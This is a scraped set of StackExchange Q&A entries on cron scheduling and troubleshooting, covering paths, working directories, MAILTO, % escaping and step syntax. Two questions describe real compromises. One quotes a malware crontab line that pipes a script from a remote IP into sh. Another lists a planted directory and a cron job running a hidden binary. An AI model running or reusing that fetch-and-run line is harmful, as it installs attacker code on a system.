cron script: dovecot: unrecognized service
1,400,072,087,000
Just an one line shell script below not working as a cron job but executing directly from terminal works fine: #!/bin/bash echo "Executed" >> ./crond.log 2>&1 What might be the problem? Checked /var/log/cron and found cron is kicking the task in time: May 16 10:30:01 vagrant-centos64 CROND[3015]: (root) CMD (sh /vag...
First rule of crond club: you don't assume the working directory. My guess is that you'll find a crond.log in /root. If you want it in /vagrant, explicitly redirect the output to /vagrant/crond.log. (FWIW, the second rule of crondclub is: don't assume there's anything in your PATH, use explicit paths to binaries, but ...
Cron Job: Redirecting shell script output to a file
1,400,072,087,000
I'm running some cron jobs on my machine and every time I fire up a terminal session I'm getting a 'You have mail' message (the job produces output on success which gets mailed to me). Any way to turn this notification off?
The exact mechanism depends on what shell is running in the "terminal session". For the BASH shell, the man page for "bash" says: MAILCHECK Specifies how often (in seconds) bash checks for mail. The default is 60 seconds. When it is time to check for mail, the shell does so b...
Turn off mail notification in terminal
1,400,072,087,000
I want to be able to type a line of command to do the following two commands that I know: cd ~/rpitwit_commands/ rpitwit This is because I want to automatically run it upon boot in crontab, and it has to run from within that directory. How do you guys suggest I do so? Do note that the actual application file is not i...
When you run commands with cron, the $PATH is set to a minimal list, so it's always best to run commands with full path or first set PATH. You can execute multiple commands in one go (works with cron too) like this: cd /home/username/rpitwit_commands && /path/to/command/rpitwit If you need to stay in the original dir...
Command to run an application within a specific directory
1,400,072,087,000
I am working on CentOS. I have created a PHP file which run from browser http://mydomain.com/backupfile/dobackup.php I have added the script from crontab and made the file executable, but it is not running 30 0 * * * /var/www/vhost/mydomain.com/httpdocs/backupfile/dobackup.php what should i do?
Add shebang at the top of your code #!/usr/bin/php
CentOS, PHP file is running from browser, not from cron daemon
1,400,072,087,000
While doing log rotation, we have two options - Using the daily directive in the logrotate file - /var/log/wtmp { daily minsize 1M create 0664 root utmp rotate 1 } Putting the logrotation file path in /etc/cron.daily/logrotate Which method is the preferred method and what are the pros and cons o...
/etc/cron.daily/logrotate and rotation configuration files serve different purposes. /etc/cron.daily/logrotate ensures that logrotate, the tool, is run once a day (if the system is up). It also determines the configuration file that is read, /etc/logrotate.conf. Since the latter typically includes files in /etc/logrot...
What should be the preferred approach while rotating logs - using the daily directive or putting the file path in cron.daily? [closed]
1,400,072,087,000
To begin, here is an example of a filename for a daily backup file: website-db-backup06-June-2020.tar.gz The script below works fine when run manually via the terminal. However, I am getting this cron daemon message on my email when the script is run via cron: tar: website-db-backup*: Cannot stat: No such file or dir...
The problem is the current working directory of the script. website-db-backup* does not have a path so it is executed in the current directory. You must add something like this to your script: SOURCE_DIR_PATH='/path/to/backup_source' cd "$SOURCE_DIR_PATH" || exit 1 In addition you should check whether there are any m...
Script not working as expected when run as a cronjob
1,400,072,087,000
From https://unix.stackexchange.com/a/489913/674 Logging in is a user-space construct; the kernel doesn’t care about that. There are multiple examples of this; for example, cron jobs can run as any user, without that user being logged in. ... connecting using SSH counts as logging in. Since there are examples which ...
At the most basic level, it can be considered "authenticating to a service to obtain resources from that service". But, in Unix, the term isn't so strictly defined. Different services can interpret in different ways. Where terminology gets confused is when you think of "logging into Unix" and getting a "login sessi...
What is logging in?
1,400,072,087,000
Today, when I logged in and checked the ps output, I noticed a few lines that were run automatically under the root. I grepped the relevant lines here: root 1126 0.0 0.0 2616 424 ? Ss Apr16 0:06 cron root 6445 0.0 0.0 2400 868 ? Ss 07:30 0:00 anacron -s root 6566 0.0 ...
You may not personally be using cron, but the system uses it for essential maintenance tasks, such as rotating log files that have grown too big or too old, checking disk quotas, doing consistency checks, making sure permissions on essential files are correct, or mailing the root user differences between important con...
What does "/bin/sh -c nice run-parts --report /etc/cron.daily" mean?
1,400,072,087,000
I have a shell script that writes the date to a log file when executed. When I run the script manually, the correct output gets written to the file. However, this needs to be automated, and when I run as a cron job, nothing is getting written to the file and I am confused why. crontab: 0 * * * * tomcat /usr/bin/sh /a...
The shell script needs to use the full path for the log file: #/bin/bash/ # assuming you want the txt file in the same directory as the bash script logfile="$(dirname "$0")/create_snap.txt" { echo ---------------------------------------- echo Start time: date } >> "$logfile"
Cron job isn't writing to log file
1,400,072,087,000
I am trying to add a cron job to perform an rsync from a remote server to a (Ubuntu12) local machine & create a log file. Below is the crontab-l 00 18 * * * rsync -a -v --delete -e ssh user@centosvm:/home/user/rsync-test ~/backup > ~/rsync$(date +%Y%m%d_%H%M%S).log 2>&1 i kept getting this mail informing about the ...
okay - figured it out. Posting back just incase if someone runs into it someday at sometime. The % sign has a special meaning in crontab. it's changed to newline and any string after the first % will be sent to the command as standard input. To force cron to interpret it literally, you have to escape it: 00 18 * * * ...
Usage of '%' in the crontab [duplicate]
1,400,072,087,000
I read somewhere that you can add a cron job to run every minute like this: #min hour day month weekday command */1 * * * * <your command> What does the /1 part mean? Can I omit it?
That is the step value. so */2 means every other hour, */3 every third hour, etc. The default step is 1, so you can omit /1 if you want a step value of 1. see the crontab(5) man page for more detail. man 5 crontab
Run a cron job every minute, meaning of syntax [duplicate]
1,400,072,087,000
I scheduled a job like this: * * 6-8 * 1-5 echo "test" >>/tmp/test.log 2>&1 I expect this job to run only on 6th,7th,8th, these 3 days. but today is 18th, it still runs. What is wrong with this job? What shall I do if I want it to run a some specific days?
The day-of-month and day-of-week positions are OR'd, so in your example, the cron will run on the 6th, 7th, or 8th or Monday through Friday. Since the 18th is a Monday, it runs. It's not exactly intuitive. To get the behavior I think you desire (run on the 6th, 7th, and 8th if they are a weekday), then you can do some...
Third cron field doesn't seem to work (job runs when I don't want it to)
1,400,072,087,000
Every week there's a new work log/to-do list at work. There's a todo script which can be used to extract my own to-do items from that. Currently this is called in ~/.bash_aliases_local, which is sourced from ~/.bash_aliases. Rather than parsing the log every time I start another shell, I'd like to use the standard MOT...
If you want to have the message displayed every time you open up a new terminal (under an X session), then motd is not the right place. It is executed by the login program - this happens when you log in on a real tty (or via ssh for example). For terminal sessions, I believe the only universal way is to run cat somefi...
How to update MOTD regularly?
1,400,072,087,000
This might seem like just another basic cron question, but I cannot figure this one out: @hourly "/usr/bin/php /usr/local/bin/notify.sh" I migrated a bunch of stuff from one server to another and was able to get most things operating smoothly after some work, and now I'm putting out the fires. I'm getting this email ...
The entry @hourly "/usr/bin/php /usr/local/bin/notify.sh" passes /usr/bin/php /usr/local/bin/notify.sh to /bin/sh -c as a single argument. That's why the error message is /bin/sh: 1: /usr/bin/php /usr/local/bin/notify.sh: not found rather than either of /bin/sh: 1: /usr/bin/php: not found Could not open input file:...
cron: not found when full paths are provided
1,400,072,087,000
As we know that MAILTO is used for receiving any mail related to the Cron job. In my case I have three commands to execute, do I need to add MAILTO three times even if the receiver mail id is the same for each of the three commands? My jobs are running on a CentOS machine. [email protected] ./first-Command [email pro...
The MAILTO variable, if set, is retrieved from the crontab file, so if it exists and is not "" then it will be used for all subsequent jobs in that file, just like if you had created a shell script like your second example. Therefore, setting it at the top of the crontab file is enough, just like you could change the ...
Do we have to rewrite the MAILTO after each cron command?
1,400,072,087,000
I've been following carefully and reading a lot about setting up crontab with crontab -e any help is appreciated on this ... I have a process that runs on startup (reboot) that works perfectly, and I want it to continue to run every minute but that does not happen. I do have a new-line (linefeed) at the end of the 2n...
I wonder how your crontab accepted this. What you mean by /1 in fact should be */1. Try it out. And if it's all in one line, like: @reboot /dir/xxx /1 * * * * /dir/xxx Then there should be a new line between both (and */1) instead of /1: @reboot /dir/xxx */1 * * * * /dir/xxx In the one line version /1 * * * * /dir/x...
Why does my every-minute crontab not work but same process on @reboot works fine?
1,400,072,087,000
I have script files. .file I need to run only on the first day of the every month. How can I do this with my cron job? 52 07 * * * bash '/home/linux/tanu/cat.sh'
# * * * * * # | | | | | # | | | | day of week 0-7 (0 or 7 is Sun, or use names) # | | | month 1-12 (or names) # | | day of month 1-31 # | hour 0-23 # minute 0-59 # runs on every 1st of month at 7:52am 52 7 1 * * bash '/home/linux/tanu/cat.sh' # runs on all other days at 7:52am 52 7 2-31 * * bash '/home/linux/ta...
How to schedule cron jobs in linux?
1,400,072,087,000
I have some logic for executing java projects; it all works in the terminal console when I type it, but not in the cron scheduler: run 1st microservice and get variable from POST request: java -jar /root/parser-0.0.1-SNAPSHOT.jar value=$(curl -d '{"query":"java-middle", "turnOff":true}' -H "Content-Type: application/j...
Each cron job is a unique shell instance that does not share state with any other cron job, so 51 09 * * * value=42 sets value only for that job, which then exits, and value is then lost. A shell session, by contrast, maintains state over successive lines. You will need a single cron job that runs all that code, or s...
cron not executing command with variable
1,400,072,087,000
We want to execute the following line each time at 00:00 night Dose this line is valid in crontab or cron job inspite commands with several lines ? 0 0 * * * find . -type f \( -name '*.wsp' -printf WSP -o -printf OTHER \) -printf ' %T@ %b :%p\0' | sort -zk 1,1 -k2,2rn | gawk -v RS='\0' -v ORS='\0' ' ...
No, your example will not work. You have to write the whole command on a single line. Consider writing a script and just calling the script from cron. For example: $ cat mycron.bash #!/bin/bash find . -type f \( -name '*.wsp' -printf WSP -o -printf OTHER \) \ -printf ' %T@ %b :%p\0' | \ sort -zk 1,1 -k2,2rn ...
Does crontab accept commands with several lines as shell expected?
1,400,072,087,000
The output of crontab -l and crontab are different. root@ce:~# crontab -l 0-59 * * * * curl http://ce.scu.ac.ir/courses/admin/cron.php?password=mypass * * * * * ntpdate –s ir.pool.ntp.org * * * * * php /var/www/html/shub/ow_cron/run.php root@ce:~# cat /etc/crontab SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sb...
crontab -l shows the running user's crontab, the one stored in /var/spool/cron/crontabs. Anything defined there runs under the user id of that user. This isn't particular to root, but root can also have one. /etc/crontab, on the other hand, contains the system-wide main crontab (along with /etc/cron.d). The entries in...
Defining scheduled jobs with cron, 'crontab -e' vs '/etc/crontab'
1,400,072,087,000
In crontab I can set this syntax 5 4 * * 3-5 Which translates to every Wednesday, Thursday and Friday at 4:05, which works well, but when using 5-3 which (expected) translates to Friday, Saturday...Wednesday, it says wrong syntax, I noticed it should be in order, but what if I need it the other way? I use this to te...
one way is 5 4 * * 0-3,5-7 script 0 and 7 are sunday another way 5 4 * * 0,1,2,3,5,6 script
Cron arbtirary weekdays range
1,400,072,087,000
CRONTABS I'm using rsnapshot with cron. Here's what sudo crontab -l shows me. 0 */4 * * * /usr/bin/rsnapshot hourly 30 3 * * * /usr/bin/rsnapshot daily 0 3 * * 1 /usr/bin/rsnapshot weekly OUTPUT I went to check on the backup folder to see if everything is working correctly, but ...
After some extended discussion it appears that the filesystem may corrupted. As an example, rm -rf fails - as root - on a normal tree of files. After unmounting the filesystem, fsck identified it as NTFS. Frustratingly I have seen NTFS fail on other Linux-based platforms under the heavy loads incurred from rsnapshot. ...
What the heck is going on with my cron scheduler? (rsnapshot)
1,459,409,985,000
On a Debian server, I have a crontab entry that should call a script every day at 04:21 AM. That's what it did, until today .. but now the script is called every 15 minutes without any reason ! I have not changed the crontab in months ! Here's the crontab line : 21 4 * * * /usr/bin/wget -O /dev/null http://www.domain....
The default behaviour of wget (documented in the manual) is to restart after a default timeout of 900s (aka 15 min). Adding --timeout=0 solves the problem here.
Cron suddenly calls a script every 15 minutes
1,459,409,985,000
I Want to run Cronjob; after every three hours from last run time for indefinite period and can check whether it ran or not Could anyone help me in getting what values to be give in this format: crontab -e Tried following: 0 0/3 * * * /home/wlogic/SHScripts/DiskCheck/DiskSpaceCheck.sh When I save file using :wq I ge...
You should be able to use the following line to run a job every 3 hours: 0 */3 * * * /home/wlogic/SHScripts/DiskCheck/DiskSpaceCheck.sh To check whether your cron job ran, check your syslog or cron log. This can be different between distributions, for example: Ubuntu: /var/log/syslog Dec 1 11:17:01 testhost CRON[674...
How to set Cron job that run after every three hours for indefinite period; with Logging?
1,459,409,985,000
I have a Linux host which I would like to have a cron job run on. I do not shut down this machine. I always suspend it. I want to run a job once a day and I cannot set it for a particular time since my machine may or may not be running. I would like a cron job the first time a day when my machine comes live and not a...
This is handled by anacron, which runs the default cron.daily etc. jobs on Fedora. If this is a root job, you can either add it to the /etc/cron.daily or to /etc/anacrontab.
Floating time cron job
1,459,409,985,000
I want it to give me all the sar/sadc options, interrupts,disk,etc.. every 10 seconds starting at noon for the entire hour. On the second line I want to capture the info in /proc/interrupts every minute for the hour of noon in a log file. Please verify the syntax. * 12 * * * root /usr/lib64/sa/sa1 -S XALL 10 360 */...
The sa1 command collects and stores binary data in system activity data file. The command is a kind of shell wrapper of sadc command and it accepts all its parameters. So check the sadc man page for details. The first line above is correct as XALL means to collect all available system activities. The collection will ...
Is this sar/sysstat cron job formatted correctly?
1,459,409,985,000
I have a script located /myscript/script.sh and I have a cronjob that I submitted like this: sudo crontab -e The contents of the crontab are as follows: */1 * * * * ./myscript/script.sh The script requires root privileges as it deletes directories. Is there anything glaringly wrong with the way I've done this?
The biggest problem is that you put . in front of the script name. . is the current directory, which you are blindly assuming you know when you set up the crontab entry. Bottom line, don't use relative paths in cron scripts: give the absolute path to the script. Also, */1 is pointlessly verbose. It means exactly the s...
Cron job doesn't seem to be executing in ubuntu
1,459,409,985,000
I want to run a cron job which deletes .txt files older than 7 days. I have two commands. The first command: /usr/bin/find /var/www/example.com/wp-content/targetdir -name "*.txt" -type f -mtime +7 -exec rm -f {} \; The second command: /usr/bin/find /var/www/example.com/wp-content/targetdir -name "*.txt" -type f -mti...
The race I saw mentioned is this, from Stéphane Chazelas's comment to another question: Note that -exec rm {} + has race condition vulnerabilities which -delete (where available) doesn't have. So don't use it on directories that are writeable by others. Some finds also have a -execdir that mitigates against those vul...
Cron job to delete all files older than 7 days: -exec rm -f {} \; vs -delete [duplicate]
1,459,409,985,000
I have seen a lot of times (1, 2 )this question, but I didn't find the answer, so here I go. I'm running Debian 11, but I guess it works the same for any Debian-like distro. My crontab -e looks like: ... @reboot sleep 20 && /opt/isPromscaleOnOrOff.sh ... And the content of isPromscaleOnOrOff.sh: #!/bin/bash SERVICE=...
Jobs run through cron aren't run in the same runtime environment that you have on your desktop. None of your PATH changes, or other environment variable settings from ~/.bashrc are automatically propagated to your cron job. For example, there's no $DISPLAY, so GUI programs need special treatment (read man xhost). On...
Why crontab doesn't execute a scheduled bash script?
1,459,409,985,000
I'm using Linux Centos 7, as a non-root user. When I want to add cron job that is not possible, I enter crontab -e I don't have option to select editor or to add cron job, just have blue ~ signs?? Also command select-editor does not exist. Any help? What should I do? Screenshoot: http://prntscr.com/qxu06n
That is VIM (or possibly another vi clone). You are in a text editor. To add a cron job, just edit using that editor. You do not have select-editor because that is part of the "sensible-utils" package on Debian. (Previously it was part of a "debianutils" package which was more obviously Debian-specific.) That packa...
crontab -e doesnt shows option to select editor - what to do?
1,459,409,985,000
I was hacked this morning! Does anyone have an idea of what the entry of the crontab below might mean? 1st They created a dir structure .rsync/ ├── a │ ├── a │ ├── anacron │ ├── cron │ ├── init0 │ ├── run │ └── stop 2nd: The executed this cronjob from: crontab -l 0 */3 * * /home/ftpuser/.nullcache/a/upd>/...
You have not solved the problem. What you found may only be the tip of the iceberg. There are many ways to hide malware. What you could see easily may well be designed to lull you into a false sense of security. Even if you managed to find all the malware, until you've found and plugged the hole it used to get in, it...
Unauthorized access to cron
1,459,409,985,000
I have a python script on my RaspberryPi that I want to run at these general times: Weekdays, after 4:30 PM until 00:00 running every 30 minutes Weekends, after 8:00 AM until 00:00, running every 60 minutes I know how to schedule it daily with Cron, 30 16 * * 1-5 /mnt/myHDD/myscript.py but can't figure out how to h...
Please see my EDIT at the end of this answer. This answer is "close" to your first requirement: */30 16-23,0 * * 1-5 Translation: “At every 30th minute past every hour from 16 through 23 and 0 on every day-of-week from Monday through Friday.” The first answer misses because it doesn't run every half-hour. Perha...
Schedule python script every day, between certain hours, every X minutes
1,459,409,985,000
I have this cronjob: #!/bin/bash YEAR=`date +%Y` MONTH=`date +%m` DAY=`date +%d` mkdir -p $YEAR/$MONTH/$DAY mysqldump -uroot -p1234 locatari > $YEAR/$MONTH/$DAY/backup.sql And I want to run this at each let's say 3 minutes. I tried with each of these crontab commands and none on them seems to work: 3 * * * * /usr/b...
None of your crontab job entries matches what you typed at the command line /usr/bin /home/rome/cronjob/back.sh tries to run a program /usr/bin, but that's a directory /home/rome/cronjob/back.sh/ tries to treat your script as a directory exec `/bin/bash /home/rome/cronjob/back.sh` tries to use the output of your prog...
Cronjob output not working [closed]
1,459,409,985,000
I am pretty new to unix systems and their workings. Is there any way to schedule a cron job in unix which runs on every day 12:00 AM and checks if the day is Thursday it stops a service and if the day is Friday it starts the service again?
You're overcomplicating it by trying to make one job that conditionally does two things. You want one job to start the service on Thursday, and another to start it on Friday, as in the following cron table. 0 0 * * 4 service myspiffyservice stop > /dev/null 2>&1 # stop myspiffyservice on Thursday 0 0 * * 5 service ...
scheduling cron jobs to stop a service on Thursday and start it on Friday
1,459,409,985,000
I have a script in Linux that creates a file which once created it executes an Expect script that uploads the created file to an SFTP server. I have this running in cron and for whatever reason the upload always fails, however when I execute the script in the shell the upload is successful. I checked the logs and they...
"Works manually, fails in cron" is almost always due to one of these: differences in environment variables: PATH and others; different current working directory; lack of a TTY (probably not an issue with expect scripts); permissions (interactive testing with one user, cron job with another); or different shell: comma...
Expect script fails when running from cron but works when run manually
1,459,409,985,000
In a means to suppress a malware that created a crontab entry below, II introduced the usage of cron.deny */5 * * * * curl -fsSL http://62.109.20.220:38438/start.sh|sh However, all user crontabs suddenly stopped triggering every job. During troubleshooting, I observed all cron associated file for all users are not ed...
Stop there! Your system has been infected by a malware. At this point, you can't trust what your system says. The malware may have modified the kernel. What you see is what the malware wants you to see. The system may not behave consistently. Don't expect a file to be modified just because the editor saved it successf...
Why are my crontab user files immutable and doesn't get executed even after changing attribute to mutable?
1,459,409,985,000
I am trying to get a cronjob in /etc/cron.d/ to run the first Saturday of every month. Here is what I have so far: 0 1 1-7 * 6 [`date +\%d` == 06] root && /home/test/cron-test.sh I change the system date Jan 14, 2017 (a Saturday in 2017) at midnight and checking tail /var/log/syslog | grep cron-test reports: Jan 14 0...
System-wide crontabs have the five date and time fields on each line, then the username to run the cronjob as, then the command line. In yours, the time fields seem ok, but the sixth field [`date is rather odd for a username. The error message hints at that. Since you have root mentioned after the snippet in brackets...
/etc/cron.d/cronjob
1,459,409,985,000
That has been a bit of a puzzle for me. When I try the following cronjobs individually: * * * * * /bin/bash -c "readlink /proc/$$/exe >> /root/printenv" * * * * * /bin/bash -c "readlink /proc/$PPID/exe >> /root/printenv" * * * * * /bin/bash -c "readlink /proc/self/exe >> /root/printenv" * * * * * /bin/bash -c "ps -h -...
In this case my default shell is bash and I just ran a test: sh -c 'echo $0' result: sh sh -c "echo $0" result: -bash bash -c 'echo $0' result: bash bash -c "echo $0" result: -bash it looks like you need to use single quotes ' followed by the -c switch
How to prove that the interpreter is /bin/bash when called from cron?
1,459,409,985,000
I run Ubuntu and Fedora on a day to day basis and usually run the package manager to check for updates nearly once a day. When I get a kernel update I usually reboot, so that I'm running on the new kernel and I can see if there are any glitches (It's almost always fine). If I add apt-get update && apt-get -y upgrade ...
Generally, sysadmins with a mixed install base would use a cross-platform configuration management / orchestration system like Puppet, Chef, or Ansible to manage updates. You could also set up one of those tools on a smaller scale if you like. Or, on Fedora *, you can use DNF Automatic — see the Fedora page on config...
Is there a common way of auto-updates with cron?